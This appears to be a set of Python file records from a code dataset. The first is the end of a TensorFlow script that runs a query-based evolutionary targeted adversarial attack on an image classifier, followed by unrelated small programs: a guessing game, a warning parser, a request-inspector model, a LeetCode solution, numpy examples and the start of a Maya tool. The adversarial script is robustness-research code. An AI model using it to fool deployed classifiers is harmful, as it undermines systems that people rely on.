# (299,299,3)\n GenC, GenP = model(sess, GenI)\n ## 预测get bath image label\n\n SourceImg = tf.placeholder(dtype=tf.float32, shape=(299, 299, 3))\n SourceClass = tf.placeholder(dtype=tf.int32)\n TargetImg = tf.placeholder(dtype=tf.float32, shape=(299, 299, 3))\n TargetClass = tf.placeholder(dtype=tf.int32)\n\n # one_hot_vec = tf.placeholder(dtype=tf.float32,shape=(1000))\n StImg = tf.placeholder(dtype=tf.float32, shape=(299, 299, 3))\n\n # 完成输入\n InputImg = StImg # (299,299,3)\n TempImg = tf.reshape(InputImg, shape=(1, 299, 299, 3)) # (1,299,299,3)\n # Labels = tf.reshape(tf.tile(one_hot_vec,[INumber]), (INumber,1000)) # (INumber,1000)\n Labels = tf.placeholder(dtype=tf.int32, shape=(INumber, 1000))\n\n # 开始进化算法\n Individual = tf.placeholder(shape=IndividualShape, dtype=tf.float32) # (INumber,299,299,3)\n # Expectation = tf.Variable(np.random.random([299, 299, 3]), dtype=tf.float32) # (299,299,3)\n # Deviation = tf.Variable(np.random.random([299, 299, 3]), dtype=tf.float32) # (299,299,3)\n\n NewImage = Individual + TempImg\n\n # 计算置信度\n # logit,pred = model(sess,NewImage) # TMD 为啥在我的程序里这个model不好使了\n logit = tf.placeholder(shape=(INumber, 1000), dtype=tf.float32)\n # TOPK局部信息\n\n # 计算适应度\n # IndividualFitness = -tf.reduce_sum(Labels * tf.log(Confidence), 1) #(INumber)\n # (INumber,1)还是(INumber) ? 是(INumber)\n # reduction_indices 表示求和方向,并降维\n L2Distance = tf.sqrt(tf.reduce_sum(tf.square(NewImage - SourceImg), axis=(1, 2, 3)))\n IndividualFitness = - (Sigma * tf.nn.softmax_cross_entropy_with_logits(logits=logit, labels=Labels) + L2Distance)\n # IndividualFitness = - (Sigma*(-tf.reduce_sum(Labels * tf.log(Confidence), 1))) # (INumber)\n\n # 选取优秀的的前BestNmber的个体\n TopKFit, TopKFitIndx = tf.nn.top_k(IndividualFitness, BestNmber)\n TopKIndividual = tf.gather(Individual, TopKFitIndx) # (BestNmber,299,299,3) 此处是否可以完成\n\n # 更新期望与方差\n Expectation = tf.constant(np.zeros(ImageShape), dtype=tf.float32)\n for i in range(BestNmber):\n Expectation += (0.5 ** (i + 1) * TopKIndividual[i])\n # Expectation = tf.reduce_mean(TopKIndividual,reduction_indices=0)\n Deviation = tf.constant(np.zeros(ImageShape), dtype=tf.float32)\n for i in range(BestNmber):\n Deviation += 0.5 ** (i + 1) * tf.square(TopKIndividual[i] - Expectation)\n # Deviation /= BestNmber\n StdDeviation = tf.sqrt(Deviation)\n\n # 获取种群最佳(活着的,不算历史的)\n PbestFitness = tf.reduce_max(IndividualFitness)\n Pbestinds = tf.where(tf.equal(PbestFitness, IndividualFitness))\n Pbestinds = Pbestinds[:, 0]\n Pbest = tf.gather(Individual, Pbestinds)\n\n # ########################################计算输出结果\n\n def render_frame(sess, image, save_index, SourceClass, TargetClass, StartImg):\n image = np.reshape(image, (299, 299, 3)) + StartImg\n scipy.misc.imsave(os.path.join(OutDir, '%s.jpg' % save_index), image)\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 8))\n # image\n ax1.imshow(image)\n fig.sca(ax1)\n plt.xticks([])\n plt.yticks([])\n # classifications\n probs = softmax(sess.run(TestC, {TestImge: image})[0])\n topk = probs.argsort()[-5:][::-1]\n topprobs = probs[topk]\n barlist = ax2.bar(range(5), topprobs)\n for i, v in enumerate(topk):\n if v == SourceClass:\n barlist[i].set_color('g')\n if v == TargetClass:\n barlist[i].set_color('r')\n plt.sca(ax2)\n plt.ylim([0, 1.1])\n plt.xticks(range(5), [label_to_name(i)[:15] for i in topk], rotation='vertical')\n fig.subplots_adjust(bottom=0.2)\n\n path = os.path.join(OutDir, 'frame%06d.png' % save_index)\n if os.path.exists(path):\n os.remove(path)\n plt.savefig(path)\n plt.close()\n\n # #################################################3计算输出结果\n\n def get_image(sess, indextemp=-1):\n global InputDir\n image_paths = sorted([os.path.join(InputDir, i) for i in os.listdir(InputDir)])\n\n if indextemp != -1:\n index = indextemp\n else:\n index = np.random.randint(len(image_paths))\n\n path = image_paths[index]\n x = load_image(path)\n tempx = np.reshape(x, (1, 299, 299, 3))\n y = sess.run(GetP, {GetImage: tempx})\n y = y[0]\n return x, y\n\n for p in range(70, 71):\n # if p == 0:\n # p = 5\n\n SSD = StartStdDeviation\n CEV = CloseEVectorWeight\n CDV = CloseDVectorWeight\n DM = Domin\n\n index1 = p // 10\n index2 = p % 10\n\n SImg, SClass = get_image(sess, index1)\n TImg, TClass = get_image(sess, index2)\n OHV = one_hot(TClass, NumClasses)\n LBS = np.repeat(np.expand_dims(OHV, axis=0), repeats=INumber, axis=0)\n if TClass == SClass:\n LogText = \"SClass == TClass\"\n LogFile = open(os.path.join(OutDir, 'log%d.txt' % p), 'w+')\n LogFile.write(LogText + '\\n')\n print(LogText)\n continue\n\n def StartPoint(sess, SImg, TImg, TargetClass, Domin):\n StartUpper = np.clip(TImg + Domin, 0.0, 1.0)\n StartDowner = np.clip(TImg - Domin, 0.0, 1.0)\n SImg = np.clip(SImg, StartDowner, StartUpper)\n return SImg\n\n StartImg = StartPoint(sess, SImg, TImg, TargetClass, DM)\n Upper = 1.0 - StartImg\n Downer = 0.0 - StartImg\n\n PBF = -1000000.0\n LastPBF = PBF\n BestAdv = np.zeros([299, 299, 3], dtype=float)\n BestAdvL2 = 100000\n BestAdvF = -1000000\n initI = np.zeros(IndividualShape, dtype=float)\n initCp = np.zeros((INumber, 1000), dtype=float)\n ENP = np.zeros(ImageShape, dtype=float)\n DNP = np.zeros(ImageShape, dtype=float) + SSD\n LastENP = ENP\n LastDNP = DNP\n LogFile = open(os.path.join(OutDir, 'log%d.txt' % p), 'w+')\n PBL2Distance = 100000\n LastPBL2 = 100000\n StartError = 0\n FindValidExample = 0\n ConstantShaked = 0\n Shaked = 0\n ConstantUnVaildExist = 0\n QueryTimes = 0\n UnVaildExist = 0 # 用来表示是否因为探索广度过大导致无效数据过多\n Retry = 0\n Closed = 0 # 用来标记是否进行靠近操作\n Scaling = 0\n CloseThreshold = - 0.5\n Convergence = 0.1\n for i in range(MaxEpoch):\n Start = time.time()\n\n # 生成\n count = 0\n Times = 0\n cycletimes = 0\n while count != INumber:\n\n # 制造\n DNPT = np.reshape(DNP, (1, 299, 299, 3))\n ENPT = np.reshape(ENP, (1, 299, 299, 3))\n\n temp = np.random.randn(BatchSize, 299, 299, 3)\n temp = temp * DNPT + ENPT\n temp = np.clip(temp, Downer, Upper)\n\n testimage = temp + np.reshape(StartImg, (1, 299, 299, 3))\n CP, PP = sess.run([GenC, GenP], {GenI: testimage})\n CP = np.reshape(CP, (BatchSize, 1000))\n # 筛选\n QueryTimes += BatchSize\n for j in range(BatchSize):\n if TClass in CP[j].argsort()[-TopK:][::-1]:\n initI[count] = temp[j]\n initCp[count] = CP[j]\n count += 1\n if count == INumber:\n break\n if count != INumber:\n LogText = \"count: %3d SSD: %.2f DM: %.3f\" % (count, SSD, DM)\n LogFile.write(LogText + '\\n')\n print(LogText)\n\n if count > StartNumber - 1 and count < INumber:\n tempI = initI[0:count]\n ENP = np.zeros(ImageShape, dtype=float)\n DNP = np.zeros(ImageShape, dtype=float)\n for j in range(count):\n ENP += tempI[j]\n ENP /= count\n for j in range(count):\n DNP += np.square(tempI[j] - ENP)\n DNP /= count\n DNP = np.sqrt(DNP)\n\n if i == 0 and count < StartNumber:\n Times += 1\n TimesUper = 1\n if count > 0:\n TimesUper = 5\n else:\n TimesUper = 1\n\n if Times == TimesUper:\n DM -= SSD\n StartImg = StartPoint(sess, SImg, TImg, TargetClass, DM)\n Upper = 1.0 - StartImg\n Downer = 0.0 - StartImg\n\n DNP = np.zeros(ImageShape, dtype=float) + SSD\n Times = 0\n\n # 如果出现了样本无效化,回滚DNP,ENP\n if i != 0 and count < StartNumber:\n CEV -= 0.01\n CDV = CEV / 3\n if CEV <= 0.01:\n CEV = 0.01\n CDV = CEV / 3\n DNP = LastDNP + (SImg - (StartImg + ENP)) * CDV\n ENP = LastENP + (SImg - (StartImg + ENP)) * CEV\n LogText = \"UnValidExist CEV: %.3f CDV: %.3f\" % (CEV, CDV)\n LogFile.write(LogText + '\\n')\n print(LogText)\n\n # 判断是否出现样本无效化\n if cycletimes == 0:\n if i != 0 and count < StartNumber:\n UnVaildExist = 1\n elif i != 0 and count >= StartNumber:\n UnVaildExist = 0\n cycletimes += 1\n\n if SSD > 1:\n LogText = \"Start Error\"\n LogFile.write(LogText + '\\n')\n print(LogText)\n StartError = 1\n break\n # if count > 0:\n # LogText = \"FindValidExample \"\n # LogFile.write(LogText + '\\n')\n # print(LogText)\n # FindValidExample = 1\n # break\n if StartError == 1 or FindValidExample == 1:\n break\n\n initI = np.clip(initI, Downer, Upper)\n\n LastPBF, LastDNP, LastENP = PBF, DNP, ENP\n ENP, DNP, PBF, PB = sess.run([Expectation, StdDeviation, PbestFitness, Pbest],\n feed_dict={Individual: initI, logit: initCp, SourceImg: SImg,\n SourceClass: SClass,\n TargetImg: TImg, TargetClass: TClass, Labels: LBS,\n StImg: StartImg})\n\n\n if PB.shape[0] > 1:\n PB = PB[0]\n PB = np.reshape(PB, (1, 299, 299, 3))\n print(\"PBConvergence\")\n\n End = time.time()\n LastPBL2 = PBL2Distance\n PBL2Distance = np.sqrt(np.sum(np.square(StartImg + PB - SImg), axis=(1, 2, 3)))\n\n LogText = \"Step %05d: PBF: %.4f UseingTime: %.4f PBL2Distance: %.4f QueryTimes: %d P: %d\" % (\n i, PBF, End - Start, PBL2Distance,QueryTimes,p)\n LogFile.write(LogText + '\\n')\n print(LogText)\n\n if UnVaildExist == 1: # 出现无效数据\n Retry = 1\n Closed = 0\n Scaling = 0\n\n # elif i>10 and LastPBF > PBF: # 发生抖动陷入局部最优(不应该以是否发生抖动来判断参数,而是应该以是否发现出现无效数据来判断,或者两者共同判断)\n elif abs(PBF - LastPBF) < Convergence :\n if (PBF + PBL2Distance > CloseThreshold): # 靠近\n Closed = 1\n Retry = 0\n Scaling = 0\n CEV += 0.01\n CDV = CEV / 3\n DNP += (SImg - (StartImg + ENP)) * CDV\n ENP += (SImg - (StartImg + ENP)) * CEV\n LogText = \"Close up CEV: %.3f CDV: %.3f\" % (CEV, CDV)\n LogFile.write(LogText + '\\n')\n print(LogText)\n # elif Scaling ==0 and Closed==0 and Retry == 0: # 放缩\n else:\n Scaling = 1\n Closed = 0\n Retry = 0\n # CEV += 0.01\n # CDV = CEV / 3\n DNP += (SImg - (StartImg + ENP)) * CDV\n LogText = \"Scaling up CEV: %.3f CDV: %.3f\" % (CEV, CDV)\n LogFile.write(LogText + '\\n')\n print(LogText)\n # else:\n # Scaling = 0\n # Closed = 0\n # Retry = 0\n else:\n Scaling = 0\n Closed = 0\n Retry = 0\n\n if UnVaildExist == 1:\n ConstantUnVaildExist += 1\n else:\n ConstantUnVaildExist = 0\n\n if PBF + PBL2Distance > CloseThreshold:\n BestAdv = PB\n BestAdvL2 = PBL2Distance\n BestAdvF = PBF\n # if PBL2Distance < 30:\n # CloseThreshold = - 0.5\n # Convergence = 0.05\n # else:\n # CloseThreshold = - 1\n # Convergence = 0.1\n sid = int(MaxEpoch*(p+1)+i)\n render_frame(sess, PB,sid, SClass, TClass, StartImg)\n if BestAdvL2 < 26 and BestAdvL2 + BestAdvF > CloseThreshold:\n LogText = \"Complete BestAdvL2: %.4f BestAdvF: %.4f QueryTimes: %d\" % (\n BestAdvL2, BestAdvF, QueryTimes)\n print(LogText)\n LogFile.write(LogText + '\\n')\n render_frame(sess, BestAdv, p, SClass, TClass, StartImg)\n break\n if i == MaxEpoch - 1 or ConstantUnVaildExist == 30:\n LogText = \"Complete to MaxEpoch or ConstantUnVaildExist BestAdvL2: %.4f BestAdvF: %.4f QueryTimes: %d\" % (\n BestAdvL2, BestAdvF, QueryTimes)\n print(LogText)\n LogFile.write(LogText + '\\n')\n render_frame(sess, BestAdv, p, SClass, TClass, StartImg)\n break\n\n\ndef load_image(path):\n image = PIL.Image.open(path)\n if image.height > image.width:\n height_off = int((image.height - image.width) / 2)\n image = image.crop((0, height_off, image.width, height_off + image.width))\n elif image.width > image.height:\n width_off = int((image.width - image.height) / 2)\n image = image.crop((width_off, 0, width_off + image.height, image.height))\n image = image.resize((299, 299))\n img = np.asarray(image).astype(np.float32) / 255.0\n if img.ndim == 2:\n img = np.repeat(img[:, :, np.newaxis], repeats=3, axis=2)\n if img.shape[2] == 4:\n # alpha channel\n img = img[:, :, :3]\n return img\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"DifferentialEvolution/DemoLab/CMA-PB.py","file_name":"CMA-PB.py","file_ext":"py","file_size_in_byte":18803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"130614283","text":"import string\nimport random\nimport sys\n\n\ndef design():\n print(\"*\" * 50)\n\n\ndesign()\n\nprint(\"Alright. Let's play a small guessing game!\\n\\nRules:\\n1.Choose a category\\n2.Enter a letter. You get 6 attempts\\n3.Find the word\\n\")\nletters = list(string.ascii_lowercase) + list(string.ascii_uppercase)\n\ncategory = {\n 'Animals': [\n 'dog', 'goat', 'pig', 'sheep', 'horse', 'camel', 'donkey', 'cat',\n 'lion', 'tiger', 'elephant', 'monkey'\n ],\n 'Fruits': [\n 'pineapple', 'ptrawberry'\n ],\n 'Computer-parts':\n ['keyboard', 'mouse', 'monitor', 'cpu', 'usb', 'hard drive']\n}\n\nprint(\"Your categories are: \", ' | '.join(category))\n\n\ndef check(categorya, q):\n c = 0\n picked = []\n picked1 = []\n\n for k, v in category.items():\n if k == categorya:\n #r=k.lower()\n picked.extend(v)\n for p in picked:\n if q in p:\n picked1.append(p)\n c += 1\n print(\"\\nThere are {0} out of {1} items in my list that has this letter\".\n format(c, len(picked)))\n if c == 0:\n print (\"\\nTry again, later! Bye..\")\n sys.exit()\n count = 0\n while True:\n answer = input(\"\\nGueseds the item? What do you think it is? \")\n if not answer:\n input(\"\\nDo you want to quit the game? Press Enter to quit\")\n break\n if answer in picked1:\n design()\n print(\"\\nHey smarty pants! You figured it out :-)\\n\")\n design()\n #break\n break\n\n else:\n if count == 0:\n q1 = input(\"\\nNah. Would you like some clues? \")\n picked_first = []\n picked_last = []\n t = 0\n t1 = 0\n if q1.lower() == 'yes':\n for p in picked1:\n if q == p[0]:\n t = 1\n picked_first.append(p)\n elif q == p[-1]:\n t1 = 1\n picked_last.append(p)\n\n if t == True:\n print(\n \"\\nThe letter you entered is the first letter of one/some of the items\"\n )\n elif t1 == True:\n print(\n \"\\nThe letter you entered is the last letter of one/some of the items\"\n )\n else:\n print(\n \"\\nThe entered letter is not the first or last letter of the item. It's in the {} position of the item\".\n format(p.find(q) + 1))\n elif count > 0 and count < 2:\n print (\"\\nRevealing some letters..\")\n for p in picked:\n a, b, c = p[0], p[-2], p[-1]\n print (f\"\\nItem starts with {a} and ends with {b}{c}\")\n # print(\n # \"\\nOkay. I will reveal some of the letters of the item. It starts with {0} and ends with {1}{2}\".\n # format(p[0], p[-2], p[-1]))\n elif count > 1 and count < 3:\n print ('Tough nut, eh? last clue.. gibberish version of words.. assemble..')\n for p in picked:\n s = list(p)\n random.shuffle(s)\n shuffledr = ''.join(s)\n # print(\n # \"\\nTough nut to crack? \\nAlright. Last clue. I am going to show you a gibberish version of the word. Try to assemble the letters properly to find the item\\n\\n\\t\\t{}\".\n print(shuffledr)\n elif count <= 6:\n\n print(\"\\nSorry. No more clues.. Try again!\")\n else:\n print (\"\\nThanks for playing! see you later..\")\n sys.exit()\n count += 1\n\n\ndef catelist():\n while True:\n categoryq = input(\n \"\\nWhich category you choose? [Press Enter to quit the game] \")\n\n if not categoryq:\n input(\"Do you want to quit the game? Press Enter key\")\n break\n\n categorya = categoryq[0].upper() + categoryq[1:].lower()\n if categorya not in category.keys():\n print(\"Please check the spellings\")\n catelist()\n while True:\n q = input(\"Enter a letter: \")\n if q.isalpha() and len(q) == 1:\n check(category, q)\n # q = input(\"Enter a letter: \")\n # if len(q) > 1:\n # q = input(\"Please enter a letter: \")\n # check(categorya, q)\n\n\ncatelist()\n","sub_path":"guessgame.py","file_name":"guessgame.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"31167466","text":"s = \"C:/Work_18/Allison_Gen6/WA_NextGen_MCAL/main/Appl/HAL/HWIO/QSPI_MCAL_SPI_Port/10.DeviceDriver/TC3xx/dd_qspi_spi_port.c:329:28: warning: unused parameter 'in_interface' [-Wunused-parameter]\"\r\nprint(s)\r\nfile_path = \"\"\r\nfile_name = \"\"\r\nline_no = \"\"\r\ncol_no = \"\"\r\nwarning = \"\"\r\n\r\ntemp = s\r\n\r\nfor i in range(len(s)):\r\n while temp[i] != '.':\r\n file_path += temp[i]\r\n i+=1\r\n if (temp[i+1]==\"c\") or (temp[i+1]==\"h\"):\r\n i+=1\r\n file_path += temp[i]\r\n else:\r\n i+=1\r\n while temp[i] != ':':\r\n file_path += temp[i]\r\n i+=1\r\n\r\n i+=1\r\n while temp[i].isdigit() != False:\r\n line_no += temp[i]\r\n i+=1\r\n \r\n i+=1\r\n while temp[i].isdigit() != False:\r\n col_no += temp[i]\r\n i+=1\r\n \r\n while temp[i] != \" \":\r\n i+=1\r\n\r\n while temp[i] != s[-1]:\r\n warning += temp[i]\r\n i+=1\r\n\r\n warning += temp[i]\r\n\r\n break\r\n\r\nprint(file_path)\r\nprint(line_no)\r\nprint(col_no)\r\nprint(warning)","sub_path":"hitech_test.py","file_name":"hitech_test.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"102032623","text":"import copy\nimport datetime\nimport json\nimport os\nimport time\n\nimport msgpack\n\nfrom inspector import config\nfrom .util import random_color\nfrom .util import solid16x16gif_datauri\nfrom .util import tinyid\n\n\nclass Bin(object):\n max_requests = config.MAX_REQUESTS\n\n def __init__(self, private=False, name=None, response_msg='ok', response_code=200, response_delay=0,\n requests=[], color=None, secret_key=None):\n self.created = time.time()\n self.private = private\n if color is None:\n self.color = random_color()\n else:\n self.color = color\n self.name = name\n self.response_msg = response_msg\n self.response_code = response_code\n self.response_delay = response_delay\n self.favicon_uri = solid16x16gif_datauri(*self.color)\n self.requests = requests\n if secret_key is None:\n self.secret_key = os.urandom(24) if self.private else None\n else:\n self.secret_key = secret_key\n\n def json(self):\n return json.dumps(self.to_dict())\n\n def to_dict(self):\n return dict(\n private=self.private,\n color=self.color,\n response_msg=self.response_msg,\n response_code=self.response_code,\n response_delay=self.response_delay,\n name=self.name,\n request_count=self.request_count)\n\n def dump(self):\n o = copy.copy(self.__dict__)\n o['requests'] = [r.dump() for r in self.requests]\n return msgpack.dumps(o)\n\n @staticmethod\n def load(data):\n o = msgpack.loads(data)\n o['requests'] = [Request.load(r) for r in o['requests']]\n b = Bin()\n b.__dict__ = o\n return b\n\n @property\n def request_count(self):\n return len(self.requests)\n\n def add(self, request):\n self.requests.insert(0, Request(request))\n if len(self.requests) > self.max_requests:\n for _ in xrange(self.max_requests, len(self.requests)):\n self.requests.pop(self.max_requests)\n\n\nclass Request(object):\n ignore_headers = config.IGNORE_HEADERS\n max_raw_size = config.MAX_RAW_SIZE\n\n def __init__(self, input=None):\n if input:\n self.id = tinyid(6)\n self.time = time.time()\n self.remote_addr = input.headers.get('X-Forwarded-For', input.remote_addr)\n self.method = input.method\n self.headers = dict(input.headers)\n\n for header in self.ignore_headers:\n self.headers.pop(header, None)\n\n self.query_string = input.args.to_dict(flat=True)\n self.form_data = []\n\n for k in input.form:\n self.form_data.append([k, input.values[k]])\n\n self.body = input.data\n self.path = input.path\n self.content_type = self.headers.get(\"Content-Type\", \"\")\n\n self.raw = input.environ.get('raw')\n self.content_length = len(self.raw)\n if self.raw and len(self.raw) > self.max_raw_size:\n self.raw = self.raw[0:self.max_raw_size]\n\n def json(self):\n return json.dumps(self.to_json())\n \n def to_json(self):\n return dict(\n method=self.method,\n query_string=self.query_string,\n form_data=self.form_data,\n body=self.body,\n content_type=self.content_type,\n )\n \n def to_dict(self):\n return dict(\n id=self.id,\n time=self.time,\n remote_addr=self.remote_addr,\n method=self.method,\n headers=self.headers,\n query_string=self.query_string,\n raw=self.raw,\n form_data=self.form_data,\n body=self.body,\n path=self.path,\n content_length=self.content_length,\n content_type=self.content_type,\n )\n\n @property\n def created(self):\n return datetime.datetime.fromtimestamp(self.time)\n\n def dump(self):\n return msgpack.dumps(self.__dict__)\n\n @staticmethod\n def load(data):\n r = Request()\n try:\n r.__dict__ = msgpack.loads(data, encoding=\"utf-8\")\n except UnicodeDecodeError:\n r.__dict__ = msgpack.loads(data, encoding=\"ISO-8859-1\")\n\n return r\n","sub_path":"inspector/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"97829241","text":"#****************************************************************\r\n#Program Name: extraCredit.py\r\n#Programmer: Gabriela Tolosa Ramirez\r\n#CSC - 119: Fall 2018 - 002\r\n#Date: Oct 15, 2018\r\n#Purpose: Provide a single character from the alphabet\r\n# and test it\r\n#Modules used: None\r\n#Input Variable(s): character(str)\r\n#Output(s): vorc(str)\r\n#****************************************************************\r\n\r\ndef letterType(character):\r\n #Function tests length of string and if it is a letter\r\n characterLength = int(len(character))\r\n if characterLength > 1 or character.isalpha == False:\r\n vorc = \"an invalid character.\";\r\n #if the test is \"passed\" it recognizes the kind of charachter \r\n else:\r\n vowels = \"aeiouAEIOU\"\r\n for letter in character:\r\n if letter in vowels:\r\n vorc = \"a vowel.\"\r\n else:\r\n vorc = \"a consonant.\"\r\n return vorc\r\n\r\ndef main():\r\n character = input(\"Please input a character: \")\r\n vorc = letterType(character)\r\n print(\"You input\",vorc)\r\n\r\nmain()\r\ninput()\r\n","sub_path":"Homework/Day 8/extraCredit.py","file_name":"extraCredit.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"44125363","text":"#\n# @lc app=leetcode.cn id=997 lang=python3\n#\n# [997] 找到小镇的法官\n#\n# https://leetcode-cn.com/problems/find-the-town-judge/description/\n#\n# algorithms\n# Easy (51.34%)\n# Likes: 128\n# Dislikes: 0\n# Total Accepted: 31.7K\n# Total Submissions: 61.9K\n# Testcase Example: '2\\n[[1,2]]'\n#\n# 在一个小镇里,按从 1 到 n 为 n 个人进行编号。传言称,这些人中有一个是小镇上的秘密法官。\n# \n# 如果小镇的法官真的存在,那么:\n# \n# \n# 小镇的法官不相信任何人。\n# 每个人(除了小镇法官外)都信任小镇的法官。\n# 只有一个人同时满足条件 1 和条件 2 。\n# \n# \n# 给定数组 trust,该数组由信任对 trust[i] = [a, b] 组成,表示编号为 a 的人信任编号为 b 的人。\n# \n# 如果小镇存在秘密法官并且可以确定他的身份,请返回该法官的编号。否则,返回 -1。\n# \n# \n# \n# 示例 1:\n# \n# \n# 输入:n = 2, trust = [[1,2]]\n# 输出:2\n# \n# \n# 示例 2:\n# \n# \n# 输入:n = 3, trust = [[1,3],[2,3]]\n# 输出:3\n# \n# \n# 示例 3:\n# \n# \n# 输入:n = 3, trust = [[1,3],[2,3],[3,1]]\n# 输出:-1\n# \n# \n# 示例 4:\n# \n# \n# 输入:n = 3, trust = [[1,2],[2,3]]\n# 输出:-1\n# \n# \n# 示例 5:\n# \n# \n# 输入:n = 4, trust = [[1,3],[1,4],[2,3],[2,4],[4,3]]\n# 输出:3\n# \n# \n# \n# 提示:\n# \n# \n# 1 \n# 0 \n# trust[i].length == 2\n# trust[i] 互不相同\n# trust[i][0] != trust[i][1]\n# 1 \n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def findJudge(self, n: int, trust: list[list[int]]) -> int:\n trusted_count = [0 for _ in range(n)]\n candidates = set(range(1, n + 1))\n\n for ing, ed in trust:\n trusted_count[ed - 1] += 1\n if ing in candidates: candidates.remove(ing)\n\n for x in candidates:\n if trusted_count[x - 1] == n - 1:\n return x\n return -1\n# @lc code=end\n\n","sub_path":"first-round/997.找到小镇的法官.py","file_name":"997.找到小镇的法官.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"585600693","text":"\"\"\"\nnumpy.nditer 객체: 반복(for, while) 을 쉽게 쓰게 도와주는 객체\n\"\"\"\nimport numpy as np\n\n# code 를 줄여줄 수 있는 객체\nnp.random.seed(1231)\na = np.random.randint(100, size=(2, 3))\nprint(a)\n\n# 40, 21, 5, 52, 84, 39\n# for - 2번 사용\n# for 문의 장점 : 간단하다\n# for 문의 단점 : 인덱스와 값을 같이 쓰려면 enumerate(a) 를 주어야 한다.\nfor row in a:\n for x in row: # 1 차원 배열에서 하나씩 꺼낸다\n print(x, end=' ')\nprint()\n\n# while - 2번 사용\n# while 문의 장점 : 인덱스로 접근 가능하므로 짝수번째 행만 찾는 행위 가능해짐 ( a[row, element] )\nrow = 0\nwhile row < a.shape[0]:\n element = 0\n while element < a.shape[1]:\n print(a[row, element], end=' ')\n element += 1\n row += 1\nprint()\n\n\"\"\"\niterator 사용방법\n\niterator 개념\n- 하나의 row 가 끝나고 나면 다음 row 의 element로 넘어가는 역할\n- 배열 a 에 있는 원소를 순서대로 꺼내줌\n- 행 번호 증가시키기 전에 열번호를 증가시킨다.\n- c_index : c 라는 언어는 (1, 1) -> (1, 2) -> (2, 1) -> (2, 2) 순으로 이동\n- f_index : 포트런이라는 언어는 (1, 1) -> (2, 1) -> (1, 2) -> (2, 2) 순으로 이동 \n\n\"\"\"\n# with as 와 같이 쓰면 좋다 (자동 close)가 필요할 때 - for 1번 사용\nwith np.nditer(a) as iterator: # nditer 클래스 객체 생성\n for val in iterator:\n print(val, end=' ')\nprint()\n\n# iterator 를 while 문에서 사용하는 방법\nwith np.nditer(a, flags=['multi_index']) as iterator:\n # 공식 : 반복이 끝났으면 true, 반복이 끝나지 않으면 false + not\n # = iterator 의 반복이 끝나지 않았으면\n while not iterator.finished:\n # multi_index 메소드를 쓰기 위해 flags 에 값을 준다.\n i = iterator.multi_index\n print(f'{i}, {a[i]}', end=' ')\n # 다음 순서로 바꾸라는 의미\n iterator.iternext()\nprint()\n\n# c_index : 2 차원 배열에 차례대로 순서를 부여하는 것 (flatten과 비슷 ->)\nwith np.nditer(a, flags=['c_index']) as iterator:\n while not iterator.finished:\n i = iterator.index # ??\n print(f'[{i}]{iterator[0]}', end=' ') # 값을 변경하는 것은 불가능\n iterator.iternext()\n\na = np.arange(6).reshape((2, 3))\nprint(a)\nwith np.nditer(a, flags=['multi_index']) as it:\n while not it.finished:\n a[it.multi_index] *= 2\n it.iternext()\nprint(a)\n\na = np.arange(6).reshape((2, 3))\nwith np.nditer(a, flags=['c_index'], op_flags=['readwrite']) as it:\n while not it.finished:\n it[0] *= 2 # error : output array is read-only : sol) op_flags 필요함\n it.iternext()\nprint(a)\n\n\"\"\"\niterator 의 장점\n1차원, 2차원 등 차원이 다를때에도\n한번에 코드를 만들 수 있다\n\"\"\"\n","sub_path":"lab_dl/ch04/ex10_nditer.py","file_name":"ex10_nditer.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"292533881","text":"# Lookdev kit 2.3 by Dusan Kovic - www.dusankovic.com\n# Special thanks to Aleksandar Kocic - www.aleksandarkocic.com - for being great advisor on this project\n# Also, thanks to Arvid Schneider - arvidschneider.com - for reporting a lot of stuff and making Lookdev Kit a better tool\n\n# So you wanted to check my code! Before you go on, let me quote my TD friend Aleksandar:\n# \"Your code is crap, but it works... more or less\"\n# Remmeber those words while you read the rest of the code...\n\nimport maya.cmds as cmds\nimport maya.mel as mel\nimport mtoa.utils as mutils\nimport mtoa.core as core\nimport os\nimport subprocess\nimport sys\nimport math\nimport time\nimport glob\nimport webbrowser\nimport dk_shd\n\n# LOOKDEV_KIT_FOLDER = os.path.dirname(os.path.abspath(__file__))\nLOOKDEV_KIT_FOLDER = 'W:\\\\Bob_IP\\\\00_Pipeline\\\\CustomModules\\\\Maya\\\\scripts\\\\lookdev_kit'\nMINI_HDR_FOLDER = os.path.join(LOOKDEV_KIT_FOLDER, \"sourceimages\", \"mini\").replace(\"\\\\\", \"/\")\nTEX_FOLDER = os.path.join(LOOKDEV_KIT_FOLDER, \"sourceimages\").replace(\"\\\\\", \"/\")\nHDR_FOLDER = os.path.join(TEX_FOLDER, \"hdr\").replace(\"\\\\\", \"/\")\nOIIO_FOLDER = os.path.join(LOOKDEV_KIT_FOLDER, \"oiio\", \"bin\").replace(\"\\\\\", \"/\")\nLDV_VER = \"2.3\"\n\n# COMMANDS\n\ndef web(*args):\n webbrowser.open(\"https://dusankovic.artstation.com/pages/lookdev-kit\")\n\n\ndef LDVbutton(*args):\n hdrs = hdr_list()[0]\n if len(hdrs) == 0:\n cmds.warning(\"Please run Refresh HDRs command\")\n return\n if cmds.namespace(exists='dk_Ldv') == True:\n cmds.warning(\"Lookdev kit is already loaded\")\n return\n if cmds.namespace(exists='mac') == True:\n createLDV()\n cmds.parent(\"mac:macbeth_spheres_grp\", \"dk_Ldv:lookdev_ctrl_grp\")\n cmds.select(clear=True)\n if cmds.namespace(exists='dk_turn') == True:\n createLDV()\n cmds.parent(\"dk_turn:turntable_grp\", \"dk_Ldv:lookdevkit_grp\")\n cmds.select(clear=True)\n else:\n createLDV()\n\n\ndef check_cm_config(*args):\n config_check = 